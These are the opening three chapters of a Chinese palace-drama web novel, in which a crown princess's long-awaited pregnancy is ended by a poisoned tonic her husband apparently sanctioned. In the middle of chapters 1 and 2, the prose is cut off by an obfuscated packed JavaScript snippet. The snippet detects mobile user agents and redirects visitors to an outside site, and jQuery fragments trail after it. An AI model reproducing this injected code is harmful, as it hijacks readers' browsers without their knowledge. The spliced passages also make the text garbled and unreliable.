《贵妃不贪欢》 1. 有孕 “恭喜太子殿下、太子妃娘娘,此乃喜脉!” 御医诊过脉,笑着退后半步,拱手行礼。 秦宝宜望着那只搭在自己腕上的手,怔了一瞬,竟忘了应声。 三月有余。 她一月前归宁时便已知晓,算着日子,等着胎气稳固再说。 可真当这四个字从旁人口中说出,她还是觉得—— 掌心发烫。 像握了一团雪,不知是化了,还是冻僵了。 “当真?”她与沈昱异口同声。 御医含笑点头。秦宝宜侧过脸,去看身侧的人。 太子沈昱生得极好,眉目温润,如三月春水。 此刻那双眼正落在她身上,神色却有些奇异——不是惊喜,更像失神。 “殿下?” 她轻轻扯了扯他的袖口。 沈昱猛然回神。 他转过头来,与她对视的那一瞬,脸上已挂满了笑,笑意从眼角一路铺到唇边,和煦如常:“只是太突然了!孤没想到——” 他顿了顿。 没想到什么?没想道她还能怀? 秦宝宜没有问。 “好事!好事!”沈昱已经扬声道,面上欢喜愈盛,“都赏。” 满殿的下人叩头谢恩,喜气盈室。秦宝宜垂下眼,掌心轻轻覆在小腹上。 ——五年了。 她与沈昱成婚五年,青梅竹马,相敬如宾。满京城的贵女都羡她命好,生得好、嫁得好,夫妻和顺、掌印东宫。 只有她自己知道,这“和顺”二字上面,压着多少碗倒掉的苦药,多少句咽回去的委屈。 如今,终于有了孩子。 她本该欢喜的。 可方才那一瞬,沈昱眼底的怔忪,像一根细刺,扎在心上,拔不出,也不至于流血。 “快去候府,给家里传个信。”她吩咐青黛,又转向沈昱,寻些话来说,“多亏了母亲,找大夫换了个新的坐胎药方子。” 沈昱的目光落在她脸上。 “你换药了?” “是啊。”她点头,“还是春日归宁时,母亲让大夫替臣妾诊脉,拟的新方子。” “怎么没和孤说?” 他的语气仍是温和的,像寻常一问。 秦宝宜却觉出些不同。她抬眼看他,轻声道:“成婚这些年,吃了多少苦药都没用,臣妾也没抱希望。” 她顿了一下。 “殿下怎么……” 沈昱没有接话。 他俯身替她拢了拢膝上的绒毯,动作轻柔,与往日无异:“孤还有军报要批,你好好歇着。想吃什么,吩咐膳房去做。孤晚上再来陪你。” 他起身时,衣袖拂过她的手背,带了初冬的凉意。 秦宝宜望着那道背影,望着他跨过门槛、步入回廊、渐行渐远,直到那玄色大氅被穿堂风掀起一角,倏忽没入转角。 她轻声问:“青黛,你瞧殿下,似乎有心事。” 青黛替她斟茶,温声宽慰:“大约是朝政繁忙。皇上又去道观了,朝廷的担子都压在殿下肩上,难免疲惫。这孩子是您与殿下盼了五年才盼来的,怎会不高兴呢?” 秦宝宜没有应声。 她望向窗外。初雪刚停,檐角积了薄薄一层白,像未落尽的梨花。 “有时,”她说,“我倒真羡慕已故的皇后娘娘。” 青黛手一顿。 皇后身子弱,嫡长子夭折后便再未能生育。皇上过而立之年,才在大臣谏言下纳妃——彼时仍是臣子们小心翼翼呈上折子,试探着问:为宗庙计,陛下可否广纳妃嫔? 四位庶出皇子降生后,皆被抱至中宫抚养。皇上日日留宿在正阳宫,甚至皇后病重那一年,他都亲手侍药。 两年前,皇后薨逝。 向来勤政的天子从此不朝,入道观,求仙丹,访方士——竟是在寻起死回生的药。 青黛轻声说:“太祖皇帝、皇上都是情种。咱们太子殿下,也是一样的。” 秦宝宜摇了摇头。 她没有再说什么。掌心的温度透过衣料,传到小腹,像一枚细弱的烛火,在风中明明灭灭。 这孩子,她盼了五年。 她必须平安生下他。 不只为夫妻情分,不只为坐稳太子妃之位——也为这桩从开始便被赋予太多期望的婚事。 前朝,沈氏未称帝时正是永靖候,那时与将门秦家便是姻亲。 沈秦两家从尉迟氏手里夺了天下,先皇沈宴川娶了秦家女儿为后、又将永靖候府的爵位再赐予秦家,这是何等的亲厚宠信。 秦家也未负皇恩,手握大齐近半数兵权,忠心耿耿为皇室戍守北境。 她作为秦、沈两家这一辈里唯一的女儿,从小众星捧月,嫁谁,谁便是太子。 她选了二皇子沈昱,看中他温文尔雅,为的是稳妥真心。 她不能输! 十日后,雪又落了一层。 秦宝宜在东宫正殿整理各府送来的贺礼。礼单堆了半案,珠玉盈匣,锦缎成山。她执笔勾对,腕间沉香木镯随动作轻撞桌沿,笃、笃、笃。 殿外通禀:“窦侧妃求见。” 她搁了笔。 窦氏入殿时,带进一阵若有若无的药香。 她生得清秀,眉眼淡淡,总穿蓝白素衫,像洗净的旧瓷。作为曾经的司寝宫女,明明比沈昱还大七岁,却因从不施脂粉,瞧着反比实际年岁更苍白些。 此刻她端着一只黑漆托盘,上置青花药盏,盏口热气袅袅。 “殿下吩咐妾身服侍娘娘用药。”窦氏低眉,嗓音柔顺。 秦宝宜看了一眼那药盏,微微蹙眉。 她害喜得厉害,近日常犯恶心,闻不得苦味。内院事务早交窦氏打理,送药这样的小事,本不必她亲至。 “这点小事,何须你亲自跑来。” 窦氏仍端着托盘,立在原地,不卑不亢:“娘娘怀着嫡子,这孩子殿下也盼了许多年,妾不放心假手于人。” 她抬眼,目光从药盏移到秦宝宜面上,停了一息。 “女人多的地方是非多。多小心,总没错。” 这话说得极轻,像随口一提。 秦宝宜看着她。 窦氏已垂下眼帘,仍是那副温驯模样。 “……先放那边吧。”秦宝宜说。 窦氏应是,却没有立刻退下。她端起药盏,倾身将药液缓缓倒回药吊子里,燃了小火温着。动作不疾不徐,腕间银镯随起伏闪烁微光。 放妥了药,窦氏坐回秦宝宜身侧,声音压低了几分。 “娘娘听说了吗?皇上……怕是不大好。” 秦宝宜执笔的手顿住。 “不大好?” 窦氏点头,目光落在自己膝上:“殿下昨日与妾说的。许是怕娘娘忧心,才不敢告诉娘娘。” 她的声音压得更低,像檐下私语:“听说皇上试新丹后,神志不清,痰中带血。” 殿内分明燃着暖炉,秦宝宜却觉寒意自脊背升起。 父兄戍边,她自幼在宫中长大。帝后待她,比待诸位皇子更亲厚。彼时她年纪小,不知这叫偏爱,只觉得养心殿的蜜饯比府里的甜,坤宁宫的炭火比别处暖。 后来她出阁嫁人,那两位仍时时赏赐,年节召见,唤她“宝宜”一如当年。 但自皇后薨,她已近一年没见过皇上了。 “妾身该死!不该多嘴的!”窦氏猛然起身,惶惶垂首,似才惊觉失言。 秦宝宜看着她。 窦氏垂着眼帘,睫毛轻颤,像雪地里的惊雀。 “……你回去吧。”秦宝宜说。 窦氏应声告退。 她走得很轻,裙摆掠过地砖,了无声息。行至门槛,她忽然顿住,回头望了一眼:“娘娘莫忘了喝药。” 秦宝宜还是入宫了。 她换上了太子妃礼服,九翟冠沉甸甸压在发顶。青黛替她系斗篷时低声劝:“娘娘身子要紧,雪天路滑——先把坐胎药喝了再出门吧!” 苦药一饮而尽。 养心殿内外静得出奇。 她穿过重重垂帘,步入内殿。烛火幽微,药气弥漫,层层帷帐垂落如雾。冯坤无声打了个千,挑开帐幔一侧。 她看见了榻上的人。 不过一年未见。那个曾在御花园亲手教她放纸鸢、在她出阁时红着眼眶说“往后谁欺负你,朕不答应”的人——此刻陷在被衾里,两鬓霜白,瘦得几乎脱相。 他歪着头,招手。 “宝宜啊,来。” 她的眼泪扑簌落下来。 “父皇……” 他抚过她的额发,动作很轻,指尖是凉的。 “怎么瘦成这个样子。” 她摇头,说不出话。 “太子待你不好?” “好。”她点头。 “东宫姬妾众多,”他看着她,慢慢说,“如何好得?” 秦宝宜一时语塞。 她垂着眼,不知如何作答。除了那些姬妾庶子,别的,的确很好。 皇上没有再问。 他轻轻叹了口气,像多年前她贪玩弄脏了新衣裳,他也是这样叹着气,吩咐宫人再去裁一件来。 “朕思念皇后,”他说,“此时去见皇后也好。” 秦宝宜抬头,泪眼朦胧中,她看见皇上的目光落在虚空某处,温和而空茫,像望着很远很远的地方。 他的手指摸索到床头暗格处。 咔哒。 暗格弹开。 他取出一枚红玉麒麟令牌,放进了她掌心。玉质温润,却沉得压手。 “你父兄都不在京,”他说,“朕与皇后,最后再为你撑一回腰。” 他看着她,目光清明。 “这是先镇国长公主留下的一支暗卫。必要时,用于自保。此物,连太子都不能知道。” 秦宝宜怔住。 自保? 她是太子妃。她父兄手握大齐近半数兵权。她腹中有太子唯一的嫡嗣。 ——何人伤得了她?她需防谁? “父皇……” 皇上没有解释。 他继续说下去,像交代一件寻常事:“朕走后,你寻个由头,将道观封了,观中一干人等悉数赐死。” 秦宝宜握着令牌,指节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214286|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泛白。 她只当他是怕太子重蹈覆辙,怕储君也沉溺方术,步他的后尘。 “宝宜记下了。” 皇上凝视着她。 那目光里有太多她读不懂的东西。怜惜、歉疚、欲言又止——像隔着烟水望岸,雾太重,望不见底。 “宝宜是个好姑娘,”他抚着她的额发,声音低下去,“可宫中生存,不可锋芒毕露,也不能心慈手软。” 她似懂非懂,点头。 “宣太子进来。” 沈昱入殿时,秦宝宜已拭净了泪痕。 他的目光扫过她微红的眼角,没有问,跪下听旨。 “传朕旨意,”皇上靠在引枕上,望着跪在榻前的储君,目光里没有看秦宝宜时的温和,是毫不掩饰的审视与警告。 “镇北王与永靖候父子继续留戍北境,不必入京奔丧。” 殿内静了一瞬。 沈昱垂着头,秦宝宜看不清他的神情。 她只看见他的脊背绷得很直,像一张无声拉满的弓。 “……儿臣明白。” 他的声音稳如往常。 出了养心殿,沈昱说想走走。 秦宝宜辞了辇,与他并肩向宫门行去。 雪已停了,青石甬道上薄薄一层白,踩上去无声无息。宫灯次第亮起,在风里晃出昏黄的光晕。 “从小,”沈昱缓缓开口,“孤便觉得,父皇母后待宝宜,比待诸位庶子更加亲厚。” 秦宝宜脚步一顿。 她侧过脸,看着沈昱的侧影。灯笼的光从他眉骨一路流泻至下颌,温润如玉。 “殿下是皇子,蒙宫学教养,堪当大任,自然与臣妾这等小女子不同。” 沈昱转过身来。 他将她的手从斗篷下拉出,握进掌心里。 他的掌心是温热的,收得很紧。 “孤的宝宜,是沈秦两姓之掌珠,是天底下最尊贵的姑娘。”他看着她,目光灼灼,“从前是,以后也会是。” 秦宝宜心头一颤。 她望着他。这张脸她看了五年,闭着眼也能描摹轮廓。此刻他眉眼温柔,与当年在永靖候府花树下向她求娶时别无二致。 ——此生定不相负。 她记得他那时说的话。 “宫人还在呢。”她微微侧过脸,耳根发热。 沈昱没有松手。 “先帝、父皇,一生皆独宠中宫。”他望着她,声音低缓,“绵延子嗣,是孤身为储君的责任。可这几年,却让你因此受了许多委屈。” 他顿了顿,抬眼看她,“日后,等我们的孩子降世,”他的目光落在她小腹上,停了一息,“孤也会效仿先帝与父皇……不再让你受委屈。” 秦宝宜眼眶发热。 五年了。那因姬妾庶子而生出的隔阂、那无数个独守空房的深夜——她以为他从不曾放在心上。 原来他都知道。 雪花落在她的眼睫上,凉丝丝的,磨得眼眶发酸。她没有眨眼,怕一动那泪就要落下来。 “这孩子来得不易,”沈昱温声道,“你要好好养着,不可再劳心费神。” 他的拇指轻轻摩挲过她的手背,“父皇若有差使,孤让稳妥的人替你去办。” 秦宝宜望着他。 雪光映在他的眼底,清泠泠的,像覆了一层薄冰。 “……父皇只是嘱咐臣妾与秦家,”她听见自己说,“要效忠殿下,尽心辅佐。” 雪花落进她的领口,凉意顺着脖颈滑下去。 沈昱握着她的手,松了些。 “是吗。” 他看着她。 那目光与那日诊出喜脉时如出一辙——温和的,空茫的,像隔着很远很远的雾。 她没有来得及回答。 小腹深处猛然抽紧,像一只手攥住了什么,狠狠拧绞。 疼痛来得毫无征兆,从腹腔一路烧到四肢百骸。 她低头。 雪地上,几点殷红。 她抬手想去抓沈昱的衣袖。 指尖触到他袖口的云纹,凉而滑。她攥紧。 “殿下……” 沈昱低头看她。 他的目光落在她脸上,停了一息。 然后他移开视线,望向宫门的方向,像什么都没看见。 “送太子妃回去。”他说。 他的声音很稳,一如方才在御前领旨时那样。 秦宝宜攥着他衣袖的手指一寸寸松开。 疼痛像潮水涌来,一浪高过一浪。她弓下身去,十指深深陷进雪泥里,凉意刺骨。血顺着大腿内侧蜿蜒而下,在雪地上洇开暗红的花。 她跪倒在雪地里,仰起头。 沈昱已经转过身去。 他迈步,踏过她滴落的血迹,踏过雪地上凌乱的足印,一步一步向宫门走去。 没有回头。 长夜漫上来,淹没了甬道尽头那抹渐远的玄色。 她从前信缘分,信真心,信来日方长。 此刻跪在雪地里,血从腿根往下淌,她想: 定不相负。 这四个字原是骗人先骗己的。 2. 流产 雪还在下,血还在流,她还在那里。 秦宝宜的眼前一阵一阵地发黑。那痛不是尖锐的,而是钝的、沉的,像有什么东西从她身体深处被连根拔起,一寸一寸剥离。她几乎要被这痛觉撕裂,手撑在雪地上,指尖深深陷进冰凉的泥泞里。 血顺着大腿内侧蜿蜒而下,洇开暗红的花,旋即被新雪覆盖。 沈昱早已不见。 雪幕越来越密,将宫道尽头那抹玄色吞没,连脚印都填平了,像从未来过。 她没有哭。 哭是示弱,秦家人不兴这个。 她听见近卫薛晟的声音:“娘娘,殿下命属下送您回东宫。” 秦宝宜没有动。她低着头,望着自己陷进雪泥里的十指。蔻丹是新染的,海棠红,指尖却已冻得青白。那枚羊脂玉戒还稳稳戴在中指上——成婚时沈昱亲自替她戴的,说玉养人。 此刻硌进掌心,生疼。 “滚开。” 她鲜少发怒。在东宫五年,她连高声说话都少。 青黛的手伸过来,抖得厉害。她试图拉起秦宝宜,声音压成一线:“主子,要不要传太医?” 秦宝宜没有答。 她喘着粗气,借力,慢慢直起腰。 九翟冠歪了,金凤衔珠垂落在耳侧,冰凉的。宫装的裙摆浸透了血水,吸饱了,沉得像裹尸布。 她低头看了一眼那片狼藉,深红与雪白绞在一起,触目惊心。 “别声张。”声音是哑的,喉咙像被砂纸磨过,“扶我起来。” 青黛搀住她手臂,触到她腕间脉搏,急而乱,像困兽撞笼。但秦宝宜的脊背是直的,步子迈出去,稳稳踩实,一步没软。 遵义门外,东宫的马车候着。驾车的太监姓周,是东宫的老人,见她来,立刻跳下脚踏,撩开车帘。他的手顿在半空——看见了她的裙裾。 “娘娘——” “回候府。”秦宝宜说。 周太监愣了半息,立刻垂首:“是。” 薛晟从后面赶上来,按住周太监的手腕。他看也没看秦宝宜的脸色,只垂目道:“殿下有命,请娘娘回东宫休养。” 秦宝宜没有看他。 她扶着青黛,踩上脚踏。 薛晟加重了语气:“娘娘,殿下之命,属下不敢违抗。还请娘娘体恤。” 青黛回头,压着怒气:“薛统领是瞎了还是聋了?娘娘说了,回候府!” 薛晟仍按着周太监的手,纹丝不动:“娘娘不适,殿下自会延请太医、悉心照料。夜深雪重,娘娘回候府,恐惊动侯府上下,反添劳累。” 他顿了顿——“还请娘娘以殿□□面为重。” 秦宝宜停下。 她站在马车脚踏上,手扶着车框,背对薛晟。雪花落在她肩头,一层薄白。 “体面。”她轻轻重复。 薛晟垂首:“是。娘娘素来贤德——” 话没说完。 秦宝宜转过身来,目光越过他,落在他腰间那把佩剑上。 然后她抬手,抽剑。 寒光一闪,像雪夜里劈开的一道裂痕。 两根断指落在宫门前,弹跳两下,滚进雪里。 薛晟捂着手,闷哼一声,踉跄后退。血从他指缝涌出,滴滴答答落在青石板上,很快凝成暗红的冰碴。 秦宝宜握着剑。 剑尖垂向地面,血顺着剑脊流下,一滴,两滴,渗进她脚下那片污浊的雪泥。 她没有看薛晟。她甚至没有看那剑。 她只是看着宫门的方向——那个玄色身影早已消失的方向。 良久,她把剑随手抛在雪地里。 “回候府。”她说。 贤良淑德的帽子戴久了,他们怕是都忘了—— 秦宝宜从不忍气吞声。 周太监猛甩一鞭,马蹄踏碎雪光,向外奔去。 永靖候府就在宫城根儿,一盏茶的功夫便到了。高墙阔门,门前两株百年银杏,叶已落尽,枝干虬结如铁。 夜雪里,“永靖候府”四个字悬于匾额,威严肃杀。 东宫的马车刚到,府兵便迎上来。认出青黛,愣了一息,立刻问:“娘娘回府?” 青黛跳下车,声音压得又低又快:“别惊动外院,请夫人到衔珠阁,叫医女,要嘴严的家生子去侍候。速去。” 府兵脸色骤变,转头奔进去,靴底踏碎薄冰,咯吱咯吱。 秦宝宜被扶下马车时,腿已经软了。那一路从宫门到遵义门,是提着最后一口气撑过来的。此刻望见候府的匾额,那口气忽然散了。她整个人往下坠,青黛险些扶不住。 “娘娘——”青黛声音发颤。 “没事。”秦宝宜攥住她手臂,指节泛白,“别叫。” 乘辇穿过垂花门,绕过穿堂,衔珠阁的灯火已经亮起来了。 母亲易氏已经等在阁前。她只披了件家常半旧袄子,发髻也是松松挽的,显是仓促起身。 但她的神情是稳的,像礁石,迎着一波一波涌来的浪,岿然不动。 她只看了秦宝宜一眼,什么也没问。伸手接过女儿,像接一件易碎的瓷器。 “扶进去。”她说。 秦宝宜躺进这床帐幔里,像躺回五年之前。 烛火映在帐顶,光影浮动。医女在帐外请脉,指腹隔着帕子搭在她腕上,眉头一点点蹙紧。 易氏坐在床边,攥着她的手,没有落泪。只是那手凉得像冰,指节硌着秦宝宜的掌心。 “夫人,娘娘这是——”医女停住。 易氏打断她:“先止住血。旁的回头再说。” 医女应是,开了方子,亲自去煎药。脚步声渐远,帐幔重新垂落,隔绝了外间的忙碌。 牛膝汤端上来,热气腾腾,苦味冲鼻,“娘娘,喝了它。” 这是催落之药。孩子已经保不住了,须得用药催下来,否则于母体有损。 秦宝宜望着那盏汤药,没有接。 “姑娘……”青黛的声音带着哭腔。 秦宝宜伸手,接过盏。 药很烫,隔着薄胎瓷烧灼掌心。她没有吹凉,低头,一饮而尽。 苦味从舌尖一路烧到胃里。她放下盏,阖上眼。 走马灯似的,许多事浮上来。 她从前听老人说,人濒死时会将一生重历一遍。 她没有死,可方才跪在雪地里的那几息,有什么东西已经死了。此刻药液入腹,像灌进一座空坟。 她比沈昱小五岁。 记忆里对他最早的印象,是五岁那年,她在坤宁宫陪皇后说话。十岁的沈昱在下首回禀功课,一本正经,声音还带着少年人特有的清亮。 他站在那儿,身姿如庭前小松,眉目温润。 皇后告诉她,那是沈昱。她要叫“二哥”。 她便叫了。 他笑着应,从袖中摸出一块松子糖,悄悄塞进她手心。 此后年岁漫长,他的身影渐渐从坤宁宫下首,铺满她整个少女时代。 他带她放风筝。她的纸鸢挂上树梢,急得直跳脚,他不唤内侍,自己爬上去摘。衣袍被枝丫勾破,他也不恼,递给她时还笑:“下次孤教你扎,扎个飞得更高的。” 他带她扑蝴蝶。她追着一只金凤蝶跑过御花园,险些撞上回廊立柱。他眼疾手快拉住她袖口,自己撞了上去,额头肿起好大一块,却先问她:“可碰着了?” 他带她捉迷藏。她躲进假山石洞,天黑透了也不敢出来。他找了她很久很久,找到时靴子都湿了——踩进了水池。他蹲在洞口,没有责备,只是温声说:“宝宜,出来吧。孤在这儿。” 他带她骑马。她第一次上马背,害怕得攥紧马鬃,眼泪在眼眶打转。他在马下牵着缰绳,一步一步走得很慢:“不怕,孤牵着,摔不着你。” 她长大了。 他仍在原地等她。 三皇子成亲时,他拒了议婚。四皇子连侧妃都纳了,他仍拒。 京中流言四起,说二皇子殿下莫不是有隐疾,说他心高气傲挑剔太过,说他——大约是在等。 等什么?只有她猜得到。 她及笄那日,候府张灯结彩。 女眷在内院吃酒,男宾在外厅。她穿着重重礼衣,端坐堂上,接受长辈簪笄。鬓边压上那支累丝金凤时,她垂着眼,想的是他今日会不会来。 他是皇子,不必亲临臣女及笄礼。 他来了。 一身骑装,众目睽睽之下,他穿过满堂宾客,走到她座前。 他手里捧着一双鹿皮靴。鹿皮是新鞣的,还带着淡淡的硝皮气味,靴头缝着细密的针脚,不太齐整,像初学女红的人做的。 蹲在她脚边,替她脱下那双硌脚的礼鞋,换上这双新靴。 她低头,看见他后颈一层薄汗。 换好了,他用拇指按了按鞋头,微微抬起脸。 “可挤脚?” 她摇头。 他笑起来。那一年他二十岁,已入朝听政,沉稳持重,唯有此刻露出少年人的意气。 “我做了两个月,”他说,“偷量了你旧靴的尺寸,总怕不准。” 她听了,夜里翻出那双靴,摸了很久的针脚。 次年春猎。 他勒缰立在人群之外,对她招了招手。 后山有一片海棠林,开得晚。她到时,满树还只是密密匝匝的花苞。 沈昱站在花树下,说:“今岁海棠开迟,原是等君。” 那日风轻,花苞在枝头微微颤动。她望着他,他望着她,都不说话。鸟鸣一声两声,从林深处传来。 他先移开目光,耳廓泛红。 帝后本不欲她嫁入皇室。 她哭、求,还是嫁了。 出嫁那日,凤冠垂着珠帘,她看不清他的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214287|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只看见他伸过来的手。 掌心朝上,稳稳停在她面前。 她把手放进去。 他握得很紧。 婚后第二年,沈昱入主东宫。 那年他春风得意,她也欢喜。 他每日下朝必先来正殿看她,有时带一捧新摘的海棠,有时是街市上买的糖葫芦。 他说,宝宜,孤从前只想做闲王,如今却盼登顶。 他握着她的手,按在自己心口。那里跳得很快,隔着衣料,烫她的指尖。 他说,因为这样,就再也没人能让你低头了。 东宫一直没有子嗣。 起先她并不着急,成婚方一年,来日方长。 可三皇子、四皇子府上接连传出喜讯,朝中渐渐有声音:太子无嗣,储位难安。 她看在眼里,主动开口:殿下该纳侧妃了。 他说,再等等。 她说不必等。殿下的难处,臣妾明白。 庶长子出生那日,他守在她殿中,寸步不离。 奶娘抱着襁褓来请安,他看也没看那孩子,只攥着她的手,说:孤不忍你受生养之苦。 她说:臣妾不养别人的孩子。 他沉默片刻,说好。 东宫的坐胎药换了多少方子,她不记得了。 只记得那药苦,每回喝完要含半颗蜜饯。沈昱有时亲自来看她服药,坐在床边,握着她的手。 他说宝宜,是孤不好。你喝这许多苦药,全是孤的不是。 她便觉得药也没那么苦了。 今年春天父兄回京述职,带回一位医女。 那医女诊过脉,屏退众人,低声问她:娘娘是否常有盗汗、多梦、易倦之症? 她点头。 医女沉默半晌,只说,娘娘神思郁结,宜宽心静养。东宫的药,不妨停一停,民女另拟一方,先疏郁气。 她没有立刻停药,怕沈昱空欢喜。 只是将那药偷偷倒了,让青黛另熬医女的方子。 半月后,盗汗止了,夜梦也稀了。 她心觉轻快,待身子好些便去谢母亲。易氏听她说完,沉默了。 那沉默太长,她终于问:母亲,可是有什么不妥? 易氏望着她,目光沉得像井。 她说,宝宜,你东宫那药,可曾验过? 她怔住,说没有。 易氏没有再问。次日便安排人,从东宫取回一盏坐胎药,暗中送去了医女处。 医女验完,跪在地上,久久不敢抬头。 “启禀夫人、娘娘,此药……名为坐胎,实为避子。” 她没有说下去。 秦宝宜也没有追问。 她记得那日天气极好,窗外的海棠开得正盛。她坐在那里,看花影一寸一寸移过地砖。 她疑过,查过,觉得是后院女人的手脚,却一无所获。 得知东宫的药从采买到煎制层层经手,皆可溯源,并无差池,她便不敢再查。 她想,或许只是医女误诊,或许只是药性相冲,或许、或许—— 她不敢想那个或许。 所以即便她有了身孕,也一直瞒着,等到胎气稳固才敢宣太医。 她盼这孩子,盼了五年,更盼他是真的欢喜。 那日御医诊出喜脉时,她侧过脸去看他。 他怔了一瞬。 那怔忪太短,但她注意到了。 那眼神不是惊喜。是失神。像猝不及防被揭了谜底—— 皇上病笃,储位已稳,外戚势大。 她只是不明白。 若他不想让她有孕,为何不直说?为何要让她喝这四年苦药? 但这个问题,不必再问。 她望着帐顶,望着那一片藕荷色暗影。烛火渐渐矮下去,光影一寸寸移过床柱。 身体里的东西已经流干净了。疼痛不再是一阵一阵的绞拧,而是一片绵延的钝,从腹腔漫到四肢,像退潮后的滩涂。 沈昱回到东宫时,并未见预料中的忙乱。 正殿静悄悄的,烛火幽微。只有薛晟跪在他面前,道:“殿下,娘娘回了候府。” “怎么伤的?”他看向薛晟的残掌。 薛晟叩首:“属下言语顶撞了太子妃。” 沈昱没有说话。 因为他几乎忘了她会发怒。 更忘了她剑使得那样好。 他走进书房。 军报摊在案上,字迹密密麻麻。他坐下,拾起朱笔,批了一个“阅”字。笔锋凝滞,墨洇开了。他放下笔,端起茶盏,手不稳,茶泼出来,洇湿了袖口。 他低头看着自己袖口的云纹——她攥过的地方,已经干了,什么痕迹都没有。 他忽然起身,大步往外走。 内侍追着问殿下去哪,他已经跨出门槛,又停住。 不必去,她会回来的。 3. 驾崩 秦宝宜在床上躺了两天。 不是昏睡,是睁着眼。帐顶的藕荷色暗纹她已能描出每一道走势——海棠缠枝,五福捧寿,当年嫁妆里母亲特意添的,说寓意好。 她望着那纹路,像望一片不再有船渡过的海。 这两日她不说话、不哭、不闹,有饭就吃、有药就喝、到点就睡。 易氏掀帘看过她三回。第一回她在看窗纸,第二回她在看手,第三回她阖着眼,睫毛一动不动。易氏在门边立了很久,最终没进去。 她静得像一盆被搬进室内的盆景——还活着,只是不再朝阳。 只外院传来动静时,她会侧过脸。 那是一个极轻微的动作,头不动,只有眼珠移向窗棂的方向。像枯井里探出的一截绳索,风一吹,微微晃一晃。 她在等什么? 易氏知道。青黛知道。 她自己也知道。 她不过是心还没死透。 还抱着万分之一的妄想:沈昱会来。哪怕不亲自来,随便抓个奴才,带一句交代——“本王有不得已的苦衷”。 她会信吗? 不会。 她不是还想要他的情。她只是不想承认——她嫁错了郎君,衷情错付。 十六岁那年她跪在皇后面前,哭着说“宝宜选他,不后悔”。 她如今才二十二岁。若那五年是错的,她往后几十年,要怎么活下去? 所以她等。等的不是他,是那个还相信他的自己。 可他不来。 他算准了她会回去。算准了太子妃的枷锁捆得住她。算准了秦家做不出为女儿问责储君的事。 ——算准了她没有路走。 外面忽然响起丧钟。 第一声沉得像从地底涌上,窗棂轻轻震颤。第二声接上,第三、第四……整一百零八下,一声叠一声,如惊涛拍岸,撞进这间静了两日的屋子。 秦宝宜猛地坐起。 九翟冠还搁在妆台上,金凤衔珠垂落,烛火映着它明明灭灭。 她跪在床上,赤足踏着锦褥,面朝养心殿的方向,慢慢俯下身去。 额头触到被面,凉而滑。 一下。 两下。 三下。 她直起身,后颈绷成一条线。 到此,她秦宝宜无忧无虑的日子,彻底结束。 她摸向枕下。 那枚红玉麒麟令牌还在,温润压手。皇上将它放进她掌心时,手是凉的。 “朕与皇后,最后再为你撑一回腰。” 言犹在耳。 她攥紧令牌,玉质硌进掌心,像攥住一根浮木—— 她生来是沈秦两姓的掌上明珠,是将门之女,是被长辈们捧在掌心里护了二十二年的姑娘。 她不认输,更不能做逃兵。 她与沈昱的情,可以慢慢理。他欠她的债,也不急着讨。 但眼下,她要知道——那个孩子,是怎么没的。 “娘。”她开口唤人。 易氏一直坐在外间陪着。这两日她没回正院,就倚在那张紫檀榻上,和衣而卧,一更醒三回。听见这一声,她阖了两日的眼终于动了。 她没急着掀帘。先端起手边凉透的茶,咽下去,稳了稳气息,才起身。 掀帘进去,女儿跪在床上,长发散落肩头,脸瘦了一圈,眼窝微微凹下去。 易氏望着她,没有问“醒了”“好些吗”。 她只说了四个字:“来日方长。” 秦宝宜眼眶一热。 “女儿要见见医女。” 易氏没叫人。她从袖中取出两张叠得方正的纸,展开,铺在女儿面前。 “你昏沉这两日,娘都替你查清了。” 她声音平稳,像在说今日厨房备了什么菜。 “青黛有心,把你前日喝的保胎药的药吊子留着。太子这两日在宫中侍疾,她回了东宫一趟,说是替你收拾衣裳,实则是去取药吊子。医女连夜验过,这是方子。” 秦宝宜低头。 两张方子并排放着。一张旧,墨迹已泛黄;一张新,纸边还齐整。 易氏指着第一张。 “这药,之前就验过。表面是坐胎,实为避子。里面混有川楝子,单独服用甚至养肝——让你不至于常年服药垮了身子。” 易氏又指向第二张方子。 “这是窦氏送来的补药,疏郁气,调肝经。” 她顿了顿。 “川楝子的药性,本与肝络胶着。一遇到这碗补药,立时溃堤。肝急则疏泄太过,冲脉失养;肝损则藏血无权,胞宫骤竭。” 她看着女儿的眼睛。 “像守着袋火药过日子,只等有人划那根火柴。” 秦宝宜望着那两张方子。 一张旧,一张新;一张网,一柄刀。 她的手开始抖。 她努力攥紧,指节泛白,纸边被捏出细密的褶皱。 “若无他的授意与配合……”她听见自己的声音,像从很远很远的地方传来,“窦氏,做不到。” 易氏没有答。沉默本身就是答案。 窗外丧钟已歇,余音还在空气里震颤,像一根越绷越紧的弦。 秦宝宜慢慢松开手。方子落在被面上,两张叠在一起,墨迹洇进锦纹。 “永靖候府这四个字,从来便不止是荣耀。”易氏的声音低缓,像在说给自己听,“进一步是皇权,退一步是万丈深渊。是进是退,全凭君心。” 她抬手,轻轻拢过女儿散落的长发。 “百年宠信,两朝君主不疑、相知、善用,是老天眷顾。从皇长子夭折时便该料到——这份君明臣贤的血脉传承,要走到头了。” 这不是母亲对女儿的宽慰,是一个百年将门的主母,在给继承人交接家训。 秦宝宜抬起头。 “错不在你。也不是秦家连累了你。”易氏望着她,目光沉静如深潭,“是迟早会有今日。只是我的宝宜运气不好,受罪了。” 秦宝宜一直撑着。 